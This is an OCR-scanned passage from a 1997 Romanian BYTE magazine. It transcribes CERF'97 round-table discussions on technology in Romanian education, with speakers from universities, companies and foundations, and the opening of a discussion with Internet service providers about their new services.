Politehnice Bucureşti cu un ser- ver puternic, adecvat realizării unui SunSite. Din păcate, după câte ştiu, acest lucru este obstructionat si nu s-a găsit încă o încăpere pentru SunSite România, în timp ce dotarea cu echipamente de la Politehnică lasă încă de dorit. Laura Lăzăroiu (ROMSYS, Sun): Din păcate, sunt cam amare lucrurile, aşa cum spuneţi dvs. Dar, haideţi să discutăm puţin mai pozitiv. Ca să ajungem deci la subiect, ar trebui să vedem ce înseamnă SunSite. Un SunSite înseamnă o zonă delimitată, respectiv o instituţie universitară, care, prin capacităţile în promovarea noilor tehnolo- gii, câştigă statutul special de „Software Information Technology Exchange“ de la Sun. Aceste centre, trebuie să menţionez că cele mai multe sunt în Europa dovadă că bătrânul continent este fără dar și poate din acest punct de vedere cel mai important, în sensul că are interes foarte mare în pro- movarea tehnologiilor de cel mai înalt niv- el către tineri, deci acest Sun Site nu este un titlu care se acordă, el se dobândeşte. Şi îmi face plăcere să vă spun că Institutul Politehnic București a dobândit acest titlu. Este, până la urmă, dacă vreţi, o recunoaş- tere a calităţii acestor oameni care sunt pro- fesorii şi studenţii de acolo. Sun vrea să creadă că dotarea este suficient de sub- stanțială, să zicem noi, deci este vorba de un server care este unic în România în momen- tul de față ca dotare şi care va ajuta aceşti profesori extraordinari, care sunt acolo, şi pe studenții aceştia de a-şi pune în valoare posibilităţile şi, de ce nu, să pună în valoare ceea ce înseamnă România din toate "punctele de vedere. Pentru că scopul Sun- Site-ului este de a promova imaginea Ro- mâniei în lume. Acesta este scopul fiecărui SunSite: de a deveni un server de Web care să pună la dispoziţia întregii comunități uni- versitare și nu numai, informaţii despre țara respectivă, despre preocupările specia- liştilor de acolo. Aș vrea să anunţ că d-na prof. Irina Athanasiu, a venit de curând de la întâlnirea managerilor de Sun SITE din Anglia şi ne poate spune câteva lucruri din punctul de vedere al acestei comunităţi, a comunităţii de SunSite. Aş vrea să mentio- nez că acest pas, pe care l-am făcut prin insti- tuirea SunSite-ului la Bucuresti, este nu numai ca 6 recunoaştere a eforturilor pe care aceşti oameni le fac, ci şi ca un mod de a onora parteneriatul strategic cu România, în eforturile de informatizare a societăţii româneşti. Acești pași pe care Sun îi face, poate sunt mărunți, dacă vreţi, dar sunt totuşi nişte paşi făcuți şi noi vrem să credem că reprezintă numai un început. Îmi face plăcere s-o las în continuare pe d-na prof. Athanasiu să ne spună câte ceva. Irina Athanasiu: Înainte de a vă povesti despre Sun SITE, aş vrea să vă spun ceva despre relaţia dintre firme şi învățământ. Şi aş vrea să dau două exemple, care mie mi se par deosebit de semnificative. Această universitară, ideea pe care o au studenţii, în general este că Unix este soluţia, după aceea ajung în viata și lucrurile sunt puţin mai diferite. Primul răspuns, care mi s-a dat, a fost că „pe noi nu ne interesează Româ- nia“. Al doilea răspuns, care mi s-a dat în momentul în care am protestat, spunându- le că totuși, aveţi nevoie de absolvenţii noștri ca să puteți să faceţi ceva in tara asta, a fost „absolvenţii voştri, dacă vor să aibă o pâine, n-au decât să înveţe singuri“ . Deci, încer- carea pe care am făcut-o, de a avea o prezentare Windows NT în facultate, nu s-a realizat. Acestea sunt cele două limite. În același timp, o firmă (din SUA) vine în fiecare an, nu spun că racolează, ci angazează pe cei mai buni absolvenţi. Mi se pare mie aşa că ceva trebuie să se întâm- ple şi pentru facultate. Şi nu-i vorba numai de universitatea din Bucureşti, şi iau niște Participanți la masa rotundă. donaţie a lui Sun vine după ce noi am mai primit o donaţie foarte importantă la Poli- tehnică, un server de mari dimensiuni, ser- ver cu care am putut să rezolvăm accesul tuturor studenților din facultatea de auto- matică şi calculatoare. Practic, toate orele de specialitate se ţin pe serverul respectiv. Şi această donaţie a venit în condiţiile în care universitatea noastră nu a cumpărat nici un fel de echipament. Şi vreau să fie foarte clar că noi am căpătat această donaţie toc- mai pentru că se înțelege importanța pe care o are învățămâtul. De la o altă firmă, pen- tru care nu vreau să dau numele, dar vreau să precizez aici că nu este vorba despre reprezentanța Microsoft în România, am rugat pe cineva să vină să facă o prezentare pentru studenţii facultăţii noastre referi- toare la Windows NT, pentru că, se pare, este un subiect foarte important. În lumea copii pregătiţi şi antrenați de noi. Ar trebui să se întâmple ceva și din partea lor. Prac- tic, noi, la facultate, nu avem nici un fel de reacție din partea firmelor. E bine, nue bine ceea ce facem ? Este adevărat, foarte des mi se cer recomandări de studenţi. Eu nu am să recomand acum studenţi, pentru firme. Probabil că facem ceva bine. Dar, ştiu eu cât de bine facem ? N-a venit nimeni niciodată la mine de la o firmă să-mi spună, „dom- nilor, sunteți foarte slabi în x“. E ceva greşit aici, în relația cu firmele. Am putea să fim în nişte relaţii mult mai bune, mai legate şi să se întâmple ceva. British Council mi-e foarte drag, dar am două of-uri. Un ofeste: în Uni- versitatea Politehnică București, şi nu nu- mai, există un departament în care orele se predau în limba engleză. Eu nu am simţit nici un ajutor din partea lui British Council. Este foarte ciudat, legăturile noastre impor- IULIE 1997 BYTE Romania 71 * Dosar | Învățământul și noile tehnologii tante pentru filiera engleză, în care orele se ţin în limba engleză, sunt în Olanda, în Portugalia. Deci, nu ştiu, cred că greşim undeva. Darvas Attila: Cum se vede problema învățământului văzut de la o firmă care acordă consultanţă de nivel înalt în Româ- nia? Corneliu Fecioru (Coopers&Lybrand): Problema cu care, practic, ne confruntăm se referă, în primul rând la dezvoltarea unor competenţe . Deci, din cadrul acestei dis- cuţii ne interesează mai puţin starea învățământului universitar şi mai mult acel element care se referă la educaţia persona- lului managerial. Şi, în sensul acesta, per- sonal am salutat o serie de informaţii care au apărut în revista BYTE România. Deci, dintr-o perspectivă absolut practică, prob- lema care ne-o punem este cum reușește sis- temul de învățământ, care poate fi de nivel universitar, care, așa cum am spus la început, moşteneşte o abordare de tip secolul XIX, sau programele adresate adulților, deci cum pot aceste proiecte de programe să con- struiască nişte competenţe care, în mod tradițional, lipsesc managementului pro- fesional din România. Şi acest tip de com- petenţe, din nou, este părerea mea person- ală, se referă nu la nişte aptitudini funcționale, etice, ci sunt, în primul rând, nişte aptitudini care se referă la conducerea organizaţiilor, la felul în care organizaţiile sunt conduse în mod eficient, angajaţii sunt motivaţi iar directorii de întreprinderi, soci- etăți, sunt nişte conducători autentici. Din această perspectivă, personal mă îngrijore- ază faptul că nivelul iniţiativelor, privind învățământul alternativ şi învățământul de tip la distanță, sunt la un nivel pe care, citind publicaţiile de tip BYTE sau citind diverse documente ale comunității europene, sun- tem mult în urma țărilor din zona, să zicem, fostului CAER. Alte țări, cum sunt Ungaria şi Polonia, sunt, din păcate, înaintea noas- tră ca şi număr de iniţiative, ca şi eficiența acestor programe. Firma la care lucrez eu nu cred că îşi pune problema, biroul este rel- ativ mic, vorbim de circa 140 de angajaţi, nu punem problema să se constituie într-o prezenţă activă, semnificativă, în ceea ce privește problema educaţiei, chiar și a acestui segment pe care l-am invocat, deci educaţia continuă și dezvoltarea profesion- ală a unor competenţe de tip managerial. Acesta este interesul persoanelor în cadrul firmelor, în special a celor multinaționale care operează în România. Și ceea ce, dacă vreţi, dintr-o perspectivă occidentală, lipseşte în România, nu sunt nişte compe- tenţe de tip funcţional. Prin competență funcțională înțeleg un absolvent de autom- atizări care poate fi un foarte bun hardist sau 72 BYTE Romania JULIE 1997 un foarte bun softist, sunt nişte competențe de alt tip, niște aptitudini de alt tip. E ade- vărat că România are un palmares bogat în medaliile obţinute la olimpiade inter- naționale, însă noi suntem foarte puţin efi- cienți când este vorba să lucrăm în echipă. Întrebarea, care poate fi pusă, este: sistemul nostru de învățământ încurajează lucrul în echipă sau, dimpotrivă, exacerbează com- petiția individuală? Care, sigur, are si aspecte foarte bune, care sunt tocmai aces- te medalii obținute la olimpiada inter- națională, dar, pe de altă parte, aceste deprinderi şi aceste atitudini, până la urmă, sunt o parte din competențele de care vor- beam si care se referă la lucrul în echipă. $i care devin importante în momentul în care unii dintre noi devin directori la firme străine . Ceea ce mă îngrijorează este faptul că puține persoane sunt interesate în comu- nicarea între instituţiile care se ocupă de educaţia tinerilor la nivel universitar sau la nivel postuniversitar şi prin programe de tip postgradual și firmele care, în mod prac- tic, se ocupă cu dezvoltarea managerială, pentru că eu nu ştiu să fi fost vreodată abordati de vreo universitate sau altă insti- tutie pentru a face cel puţin o prezentare a activităţii noastre. Darvas Attila: Domnul Marius Brago- veanu, Open Learning Manager la CO- DECS România are o experienţă într-un domeniu educaţional modern, încă putin răspândit. Marius Braşoveanu (CODECS): Nu ştiu dacă se face diferenţa între educaţie şi instru- ire. CODECS nu pretinde şi nu cred că ar fi în stare să facă educaţie, el face instruire. Aşa, ca un scurt istoric, firma noastră a luat naştere la sfârșitul anului 1993. Şi, de atunci până acum, mai mult de 4000 de oameni nu au fost instruiți cu ajutorul CODECS-ului în management şi marketing. Cursurile Open University din Marea Britanie sunt partea unui program aparte, deşi ele pot fi făcute individual, în sensul că poate fi făcut un singur curs, obținând un certificat, şi cu asta basta, totuşi, se pot urma gradual după programa existentă. Ceea ce a adus CO- DECS în metodologie este posibilitatea ca adulții să studieze în paralel cu un serviciu. lar conţinutul, aici putem discuta despre conţinut, să zicem că sunt cursuri bune. Există diferite genuri şi tipuri de cursuri. Ce încercăm să facem în cadrul acestor cursuri sociale, 4000 de oameni reprezintă totuși o cifră, este să creăm acele atitudini şi apti- tudini prin care oamenilor să le oferim un vocabular, nişte cunoştinţe și o acreditare. Ce aş mai putea să adaug ar fi că tehnologii- le educaţionale, din câte am aflat, se referă mai puţin la tehnologiile educaţiei și mai mult la cum să proiectezi un sistem de edu- caţie sau informaţie. Şi ar fi bine să folosim ceea ce poate adăuga valoare, acolo unde poate adăuga valoare. Am constatat că este otendință ca oamenii să folosească tehnolo- gia pentru că ea există. 80% dintr-un pro- ces de educaţie de calitate se poate face fără tehnologii deosebite. Irina Athanasiu: Îmi pare foarte rău s-o spun dar, vorbim de introducerea tehno- logiilor moderne, vorbim despre multime- dia şi noi nu avem posibilitatea multiplicării unor foi banale ca să le dăm studenților, ca să eliminăm acea spaimă că trebuie să noteze. - tot ce spunem la cursuri și, dacă o vreme mai putem rămâne cu această tehnologie de predare, mi se pare mult mai grav faptul că aceste aspecte negative au un impact mult mai mare în cazul studenţilor de la alte spe- cialităţi, nu de la calculatoare, care vor supravieţui, dar ceilalți studenți, în curând vor părea că sunt analfabeți, oriunde se vor duce în lume. Pentru că nu mai este suficient, în momentul acesta, să ştii o limbă străină. În momentul acesta trebuie să stăpâneşti o tehnică multimedia, trebuie să fii în stare să faci o prezentare, cu slide-uri, cu un Po- werPoint sau un alt mecanism, trebuie să fii în stare să utilizezi Internetul şi să-ți poți prezenta o pagină Web, trebuie să fii în stare să cauţi ceva pe Internet şi aşa mai departe. Şi, dacă cei din specialitatea calculatoare vor supravieţui, pentru că se ocupă de asta, ceea ce se întâmplă în alte discipline este ceva foarte grav și vom plăti cu toţii. Vreau să spun aici ceva, ce poate că trebuia să spun de la început. Este foarte bine că suntem aju- taţi de BM, este foarte bine că avem sprijinul unor firme. Multe dintre lucrurile care s-au întâmplat în învățământul superior, de fapt de ce să n-o spunem sincer, ceea ce s-a întâm- plat în învățământul superior ca dotare în tehnică de calcul se datorează, practic, numai proiectelor TEMPUS. Ceea ce se întâmplă în liceele noastre se datorează numai fundaţiei Soros. Dacă nu se va pro- duce o schimbare, la nivel de înțelegere național, tot ceea ce încercăm noi să facem sunt linguriţe dintr-un ceai într-o mare. Adică, s-a făcut o dotare iniţială în învăță- mântul superior, care era destinată să fie o dotare inițială, dar era destinată numai primilor ani universitari. Şi s-au cumpărat, nu mai discut acuma dacă asta a fost cea mai bună soluţie sau nu, s-au cumpărat acele reţele Novell de care ştie toată lumea. Cum să spun, este foarte bine că ne preocupăm ca un copil excepţional să-şi poată face studiile în străinătate. Dar ce facem cu cei care stau acasă? Ce le oferim? Ce oferim noi absolvenţilor? Adică, una dintre problemele pe care o are facultatea mea, şi sunt convinsă că același lucru se întâmplă în toate fac- ultăţile țării: noi nu avem clasă de mijloc. Învățământul și noile tehnologii Dosar Există un corp profesoral, nu pot să spun în vârstă pentru că fac parte din el, pe lângă care trec în fiecare an nişte asistenți. ȘI trec pentru că ei sunt în drum spre doctorate în Anglia, un caz bun din punctul nostru de vedere pentru că din Europa s-ar putea să se întoarcă, dar majoritatea sunt în drum spre doctorat în Statele Unite, alţii sunt în drum spre un job plătit bine, eventual la Microsoft şi nu rămâne nimeni aici. Desigur, fiecare are viaţa lui şi trebuie să meargă la nivelul maxim la care poate să atingă ceva. Dar, ce se întâmplă aici? Adică, așa cum pentru o societate, societatea românească, faptul că nu există o clasă de mijloc face să se întâm- ple ceea ce se întâmplă, acelaşi lucru se întâmplă și în învățământ. Noi nu avem nici O șansă să-i ținem pe copii aici. Orice asis- tent al meu face, în același timp, două norme la şcoală şi mai lucrează la o firmă şi o muncă de cercetare ştiinţifică, de doctorat. Nu se poate așa ceva. Cum să spun, lucrurile tre- buie schimbate. E foarte bine că ne ajută atâ- ta lume, dar nu trebuie să rămânem în situ- atia de asistați. Mie îmi pare foarte rău că n-a venit nimeni de la Ministerul Învățământului. Adică, s-ar putea face o iniţiativă legislativă de genul că, cineva care sponsnrizează o şcoală, să i se tragă acea sumă din profit. Nicolai Sandu (Fundaţia Soros Româ- nia): Din păcate, așa cum a spus d-na prof. Irina Athanasiu, se întâmplă ca la momente pe care mi le amintesc de la Grupul de Dia- log Social sau de la Convenţia Democrati- că, momente în care toţi erau de acord cu ce trebuie făcut, dar, nu s-a realizat nimic, datorită faptului că cei cu care trebuie să comunicăm și să dezbatem aceste probleme nici nu vin la aceste întâlniri. La întrebarea simplă dar foarte acută, dacă România este pregătită pentru global information society şi dacă acest guvern sau altul are soluţii pen- tru această problemă? Răspunsul îl ştiţi bine, iar răspunsul meu este, fără ezitare, nu. Şi că, dacă în alte domenii mai putem să pier- dem un tren, aici nu există decât unul sin- gur şi, o dată pierdut, mă îndoiesc că îl vom mai prinde. Ce a făcut Fundaţia Soros în domeniul preuniversitar a însemnat peste 2000 de computere donate în ţară. Din păcate, acest program a fost oprit, în speran- ţa că s-a demonstrat că se poate face. A fost un proiect pilot şi s-a considerat că s-a inte- les mesajul și sunt sigur că autorităţile vor avea un plan de continuare a acestui tip de program cu părţile lui bune şi rele. S-a con- statat însă că, după doi ani, nu s-a întâmplat nimic. Există tot felul de proiecte guverna- mentale care în principiu ar trebui să ofere instrumentele de lucru pentru o societate de tip informaţional celor 4.5 milioane de elevi. Pentru că, ceea ce a făcut Fundaţia Soros şi alte iniţiative private a avut părți foarte bune şi în universități. S-a simţit acolo unde au venit elevi de la aceste licee, dar a creat o inechitate socială pentru că şcolile care nu au fost sprijinite nu au nici o vină. Acea inechitate socială se va accentua în continuare şi este evident că nici un absol- vent de liceu nu va găsi de lucru, dacă nu a avut acces la un computer. Eu consider că este dreptul acestor tineri să aibă acces la un computer. Fundaţia, în momentul de față, are o înțelegere semnată cu Ministerul Învăţământului, prin care cele două reţele RoEdunet şi Soros colaborează pentru a Ob D-na Rodica Scafes de la British Council. oferi acces la Internet cu Fundaţia Soros pentru învățământul preuniversitar, până în momentul în care Ministerul va reuşi să preia întreaga infrastructură creată de Fun- daţia Soros şi să poată oferi în continuare şi pentru celelalte școli. Orice instituție care aparţine MI, in general, cand solicită acce- sul la Internet la Fundatia Soros, trebuie sa aibă un acord, aviz, de la Comisia de Coor- donare pentru Învățământ, din care fac şi eu parte. Mai ales că, în sistemul universi- tar, avem deja dotate câteva facultăți si se încearcă trecerea la RoEdunet dar sunt probleme tehnice. Cred că rețeaua noastră a suplinit ceea ce nu a putut face rețeaua edu- caţionalăa Ministerului Învăţământului. S-a anunțat un program în presă prin care şcolile care doresc să se conecteze la Inter- net pot apela la cele patru centre ale Fun- datiei Soros din Bucuresti, laşi, Cluj sau Timişoara, pot primi un modem, pot primi cont de e-mail, iar pentru şcolile care reuşesc să facă o pagină de prezentare, care este găz- duită de serverele fundaţiei şi demonstrează că au audienţă, pot primi chiar o linie închiriată sau dial-up ppp acces la Internet. Dar sitemul educaţional nu este pregătit, oamenii nu știu despre ce este vorba, iar cei care ştiu câte ceva s-au speriat. S-a făcut mare vâlvă, la nivel guvernamental, cu secretele de stat furate pe Internet, şamd. Si nu e bine acest lucru. Şcolile ar trebui să aibă mai multă personalitate, să poată spune că, pe lângă programa şcolară, oferă şi cur- suri de Internet şi, astfel, vor atrage mai mulţi elevi. În continuare Fundaţia Soros este deschisă pentru noi programe, noi proiecte, aşteaptă proiecte care să vină din afara fundaţiei, atât în domeniul ofertei de burse cât şi în alte domenii. Repet, nu există programe de dotare, aceste programe, în momentul de faţă, au fost în mare parte oprite. Tudor Macovei (ORACLE România): Nu suntem singura țară în care foarte mulți tineri îşi doresc un calculator. La ultimul eveniment, să zicem de importanță euro- peană, din Austria, preşedintele firmei a spus că statisticile relevă că 5% din popu- laţia lumii are acces, foloseşte un calcula- tor.În ceea ce priveşte PC-ul, asta-i o chestie românească, şi dacă într-un mediu eterogen ca Spania, Turcia, PC-ul are o pondere de 40-50% din tehnica de calcul, în România acest procent este de 80-90%. O problemă globală o constituie faptul că în, Europa de IULIE 1997 BYTE România 73 Dosar Invățământul și noile tehnologii vest, doar 15% ştiu să utilizeze un calcula- tor. Din cauza asta, în momentul de faţă integrările sunt mult mai greu de atins. Şi poate cel mai important în iniţiativa ORA- CLE, care lucrează împreună cu alte firme, este ideea unui calculator fără resurse prea puternice, network computer. E vorba de un terminal semiinteligent, cu foarte puţine resurse, și care accesează un server. Toate resursele, soft-ul etc. sunt undeva în rețea, ce pot fi accesate prin intermediul unei parole. Oricum, Microsoft a fost prima fir- mă care a protestat. Darvas Attila: Există proiecte concrete pentru învățământ, la Oracle România? Tudor Macovei: Există o politică globa- lă care este oarecum deficitară. Pentru că nu peste tot există aceleaşi surse de venituri. Pe scurt, inițiativa universitară în România constă în achiziționarea unui număr de pro- duse ORACLE, cu un număr fix de utiliza- tori, care va fi folosit în interiorul univer- sitatii, la preţul de un utilizator/produs. Există un program de instruire pentru fie- care produs achiziţionat, se oferă pentru două persoane un set complet de cursuri, la un preţ echivalent poate cu 20% din preţul standard, prezentate într-un mod aca- demic, nu comercial. Dar, la mai multe uni- versitati din tara, din câte ştiu, rezultatele au fost sub asteptarile noastre, din cauza lip- sei fondurilor. În privinţa tehnologiei de instruire : până în anul 2000 saltul va fi de 40% față de volumul curent. În schimb, în ceea ce priveşte tehnologia de autoinstruire, saltul va fi de peste 400%. Deci, lucrurile se schim- bă. Există cîteva probleme: clientul nu are suficienți bani şi nu are timp să-şi timită oamenii la cursuri. Şi atunci, are nevoie de o metodă de instruire la îndemâna lui, care să fie făcută după ritmul propriu al cursan- tului, mai încet, mai repede, ziua, noaptea şi care să fie accesibil. Probabil că această metodă nu oferă aceeaşi informaţie ca predarea la sală, dar este o alternativă. Cursurile sunt standard, aceleași ca în Brazi- lia, America. Am citit ce spunea o persoană importantă, în 30 de ani campusurile vor fi o amintire. Instruirea prin alte metode, decât cele standard, va produce mutații. $i este mai ieftină. Darvas Attila: S-ar putea să fie mai iefti- nă, dar este mai ineficientă. Toate cursu- rile astea, în general, sunt însoţite și de consultaţii oferite de profesori. Profesorul are cursuri pe Web, dar are şi ore prin care verifică şi orientează activitatea. Irina Athanasiu: Aici și eu vă contrazic. Nu vorbim de pregătirea clienţilor. Una este pregătirea unui om gata format. Dacă vor- bim despre pregătirea studenţilor, este foarte important ca studentul să-l vadă pe 74 BYTE Romania IULIE 1997 profesor gresind si refacand rationamentul. Mie mi se pare acest lucru ceva absolut fundamental. Eu de multe ori fac greșeli, ca să văd că studenţii m-au urmărit şi ca să vadă că pot să refac raționamentul pentru că am făcut o greşeală. Asa ceva, într-un curs care este făcut pe reţea, nu se întâmplă nicio- dată. Deci, dacă vorbim de educaţie, de for- marea unui om, asta nu se poate face decât şi prin interacțiune umană. Și, al doilea lucru pe care vreau să-l spun, pentru România va mai dura puţin, până în momentul în care cineva, de la Craiova, care lucrează la o fir- mă, ştie că la Timişoara este un curs foarte bun şi că, într-o după-masă, când are el timp, se cuplează la serverul de la Timişoara să asiste la cursul respectiv, care a fost făcut în săptămâna aia, în nu ştiu ce zi sia fost inre- gistrat si el il vede. Pentru asa ceva trebuie să mai așteptăm. Silviu Cucerzan: În nici un caz, acest lucru nu se va întâmpla curând, pentru că dispare componenta socială și, vedeţi deja, au apărut supermarket-urile de pe reţelele de calculatoare, unde comanzi tot ce vrei şi toată lumea se plânge că nu se mai cunosc nici măcar vecinii între ei. Ori, atmosfera dintr-un campus e foarte importantă pen- tru formarea omului. Adică, tocmai ne plângeam de lucrul în echipă, că nu există, eu mă îndoiesc că va exista, oricâtă interac- tivitate va oferi o reţea. E cu totul altceva să fii alături de un om, să munceşti împre- ună cu el, decât dacă eşti la 200 de km de el, chiar dacă va exista un maxim de inter- activitate. Irina Athanasiu: Rămâne problema dis- tanţei. Aici nu-i vorba numai de problema Universităţii Politehnice București, este vor- ba și de Tg. Mureş şi de Timișoara. Colegii mei nu sunt aici, printre altele pentru că nu şi-au putut permite financiar. Silviu Cucerzan: Totuşi, în proiectele acestea există bani şi pentru astfel de întâl- niri. Există bani pentru consultanţă din partea firmelor. Pot veni parteneri de la firme să predea cursuri. Deci „pot fi finanţate astfel de cursuri, vor exista bani și în al doilea . rând, nu vreau să spun Ministerul Învă- fământului, ştiţi, dacă invitaţia nu venea pe numele meu, eu nu eram acum aici. Adică, dvs l-aţi invitat pe domnul prof. Corneliu Stănescu, dir. general în Ministerul Învă- țământului. E groaznic, eu ştiu cât îl vedem noi la consiliu şi cât avem nevoie să ne con- sultăm. Poate trebuia făcută o invitaţie de genul, vă rugăm să delegaţi pe cineva, deci, nu știu, la noi a venit invitaţia pe numele dl-ui prof. Dincă care era plecat, dacă nu venea pe numele meu eu nu eram aici. Dân- sul ar fi zis, eu nu pot să vin şi nu mai venea nimeni aici. Rodica Constantinescu (ICI - RoEdu- net): Eu consider că ceea ce se întâmplă în România, în privinţa conectivităţii la comu- nitatea internaţională prin furnizorii de ser- vicii Internet şi care sunt vreo 20, este ceva fantastic pentru societatea românească. Este adevărat, aşa cum spunea dl. Braşoveanu, această tehnologie informaţională trebuie să fie suport pentru restul tehnologiilor uti- lizate în educaţie. Şi vreau să vă spun că eu, navigând prin Internet, am văzut câte instru- mente fantastice au fost făcute, aceste instru- mente care sprijină educaţia, instrumente informatice care sunt interactive şi accesate de la distanţă prin Internet. $i cu această ocazie, ţinând cont că dl. Mihai Jalobeanu din păcate lipseşte, vreau să vă semnalez primul simpozion cu participare inter- națională, legat de instruire prin Internet, care are loc în România si care este organi- zat de dl. M. Jalobeanu şi alţi colaboratori din tara, simpozion care se numeşte Roma- nian Internet Learning Workshop şi a cărui pagină Web, mă rog, cu mirror-urile care există, poate fi cu o adresă pe care, dacă doriţi, v-o pot spune (http://oc1.itim-cj /rilw/) Darvas Attila: În concluzie, putem remarca o îmbunătăţire a dotării tehnice, față de anul 89, dar insuficientă fata de cer- intele din ziua de azi şi pentru cerinţele de pregătire pentru ziua de mâine. Sper ca sem- nalul lansat de participanţii la această masă rotundă să fie recepționat de cei responsa- bili de soarta învățământului de la noi. Vă mulțumesc pentru participare. [Convorbirea a fost consemnată de pe caseta video înregistrată la CERF, de Mircea Sabău: msabau@agora.ro] DI. Tudor Macovei. ILUSTRAȚII: XXXX XXXXXXX O 1996 DOSAR Internet în România nul acesta la CERF'97, în cadrul programului de seminarii şi con- ferinţe, organizate de Comput- er Press Agora, masa rotundă din ultima zi, a fost dedicată pentru Internet. Am beneficiat în organizare de ajutorul dom- nului Iosif Fettich, director Netsoft Srl, şi îndrumarea d-nei prof.dr.Irina Athanasiu, cărora le mulțumesc şi pe această cale. Dar, iată cum s-au desfăşurat discuţiile: Darvas Attila: Subiectul ultimei mese ro- tunde este Internetul. Subiectul este, cred, de mare interes şi mulțumesc invitaţilor şi pub- licului că ne-au onorat cu prezenţa. În conti- nuare, dau cuvântul d-nei prof.dr. Irina Atha- nasiu, pe care o rog să conducă discuţiile. Irina Athanasiu: Fiind a 3-a întâlnire, pri- ma observaţie, pe care vreau s-o fac, este că, atunci când am organizat masa rotundă, acum un an, era foarte ușor să ne aşezăm la masă, eram poate cinci, poate şase. La ROSE era ciudat că eram 16, dar, de data aceasta, discutând cu organizatorii, era clar că nu mai puteam să-i punem pe ISP-işti la o masa,pen- tru că am numărat în jur de 20 si asta este un semn bun, înseamnă că celor 6 de la început le-a mers bine, celor 16 din toamnă le-a mers bine, şi sper să le meargă bine şi celor noi veniți astăzi. Cu această introducere, vreau să intru în subiectul zilei de astăzi. Eu am făcut o schiță, cu ce am vrea să discutăm, şi aş lansa o primă întrebare pentru furnizorii de servicii Internet:- ce servicii noi oferă providerii de Internet în România?. Liviu lonescu (Eunet): E greu de spus servicii noi, pentru că Internetul are deja o familie atât de mare de servicii că n-o să inventăm noi servicii noi. Deci, la nivel de holding european, am hotărât să punem accent mai mare pe servicii cu valoare adău- gată şi nu numai pe număr de conexiuni. Servicii noi pe care le vom oferi în Româ- nia, deşi nu ştiu cât de mare va fi impactul, vor fi un serviciu de fax, unul de backup pe Internet, serviciul de plăţi electronice. Octavian Greavu (Planeta Internet): Pentru că e vorba de servicii noi, chiar dacă . nu e vorba de Internet provideri,este vorba de propunerea unui produs care poate să Masă rotundă la CERF'97 fie util, în acelaşi timp, și furnizorilor Inter- net. Revista Planeta Internet a avut ocazia, acum câteva zile, să primească producătorii unui decodor pt. Internet. Mulţi dintre dvs. îl cunosc, mulți l-au testat, dar poate că mulți dintre dvs. n-au avut încă ocazia să-l vadă. O soluţie de a afişa și de a naviga cu acest decodor care aduce paginile Web pe televi- zor. Pentru furnizorii Internet este o soluţie în plus să le crească numărul de abo- naţi.Adică, nu numai celor care au posibili- tatea să aibă un PC, nu numai celor care sunt până acum în aria dvs. de activitate. Dum- neavoastră puteţi să vă extindeți aria de acti- vitate, grație acestui NetBox, şi să va largiti D-na prof. lrina Athanasiu conducând discuțiile abonaţii, considerând că toți cei care sunt posesori de televizor, şi au o linie banală de telefon acasă, sau sunt cuplaţi prin cablu - este o variantă şi pentru asta - pot să fie abonaţii dvs. Va trebui să cunoaşteţi pro- dusul îndeaproape şi este o soluţie pentru furnizorii de Internet. Prof.dr.Moisa Trandafir (Intercomp): Noi oferim servicii Internet prin Vsat şi Star- nets: Ca să răspund la întrebarea pe care mi-a lansat-o colega mea Irina, am diversi- ficat puţin serviciile oferite în servicii stan- dard și profesionale, din două motive: unul din motive comerciale şi unul din motive tehnice, bineînţeles că cele două sunt legate între ele. Dar, motorul a fost partea de mar- keting comercial pentru a împărți aceste ser- vicii. Deci, avem servicii mai ieftine, stan- dard, şi mai scumpe, profesionale. Am real- izat primul proiect, deci pot să spun că avem deja experienţa de a oferi serviciul mai departe, de intranet bazându-ne pe două cri- terii care se vehiculează la ora actuală la noi, Virtual Private Network, adică realizarea unei rețele virtuale private mapată pe infra- structura pe care noi am construit-o acuma. Deci putem să construim rețele virtuale pri- vate pt. utilizatori care, eventual, pot să aibă o rețea închisă cu aplicaţii de intranet, şi am început să creştem gama de servicii pe ser- vere, adică spaţiul pe serverele noastre, și spaţiu fizic pt. instalarea serverelor clientu- lui. În condiţiile în care clientul are o linie destul de lentă, noi îl incurajăm să aducă serverele la noi în sediu. Astfel, am început să avem o fermă de servere cu care acordăm aceste servicii noi. Dragos Titescu (Global One Commu- nications): La noi serviciile sunt deja impar- ţite şi nu mai avem nimic de împărțit, noi, practic, avem o linie dedicată traficului Internet, o linie terestră de 256KB. Tudor Panaitescu (Logic): Din punctul de vedere al serviciilor nu avem nimic nou. Din punctul de vedere al răspândirii locu- rilor de unde puteţi să accesaţi serviciile Internet şi nu numai Internet: în rețeaua noastră sunt 11 numere de acces în țară. În viitorul foarte apropiat, poate o lună, poate două, se va extinde numărul la 30. Iosif Fettich (NetSoft Tg. Mureș): Unul din serviciile pe care le considerăm noi, pe care le vom oferi, este un serviciu de ştiri. Va fi un server care să lucreze de la noi şi cu ştirile noastre. Va fi accesibil cât de curând. Rotaru Alexandru (IIRUC SA): Reţeaua Rolink s-a extins la 24 de noduri de acces în acest moment. Ca servicii oferite: yelow pages la o viteză mare de acces, al doilea este un model de distribuţie al siturilor cu diverse puncte de acces, şi o colaborare cu firma Oracle, pentru realizarea de softuri specifice prin intermediul acestor rețele multipunct. Deci, colaborarea cu firma Oracle se va materializa şi prin următoarele acţiuni IULIE 1997 BYTE România 75 Dosar Internet în România comune. Mihai Bătrâneanu (PCNet): Aş împărți noutăţile în două domenii: cele referitoare la conectivitate, deci noi am dat drumul la un tronson cu partenerii noştri DigiCom la Ieșirea în Internet direct în SUA şi servicii profesionale pentru companii, care vor să plătească și servicii pt. persoane particulare petronson rapid. Referitor la serviciile Web, pe 20 aprlie am dat drumul la transmiterea live postului de radio Pro FM și o altă nou- _ tate ar fi colaborarea cu CNN, deci Internet paging prin Internet. Dan Popescu (Kappa): Din punctul de vedere al conectivităţii, vrem să extindem interconectarea între reţele de care se vorbeşte foarte mult acum. În continuare, aşa cum probabil știți, pagina noastră a luat un premiu la CERF în materie de Web, insistăm foarte mult pe reclame și oferim un serviciu de fax e-mail rapid celor care nu au e-mail, astfel încât aceştia primesc mesa- jele prin fax, am dat drumul la serviciul de emisie (broadcasting) al TVR1, însă, mo- mentan, conducta în țara noastră nu este așa de mare încât să fie vizionat foarte bine în întreaga tara, la cei 20KB/sec. Irina Athanasiu: Daca nimeni nu mai vrea să anunţe noutăţi în domeniul servicii- lor, propun să discutăm în continuare o ga- mă de servicii f. mportantă și anume despre comerțul electronic. E o şansă foarte impor- tantă pentru România existența acestui gen de servicii, existența comerțului electronic deoarece, într-un mod mult mai util, putem să fim văzuţi din afară. Aş vrea să-i întreb pe furnizorii de servicii Internet din România cum stau cu oferirea de comert 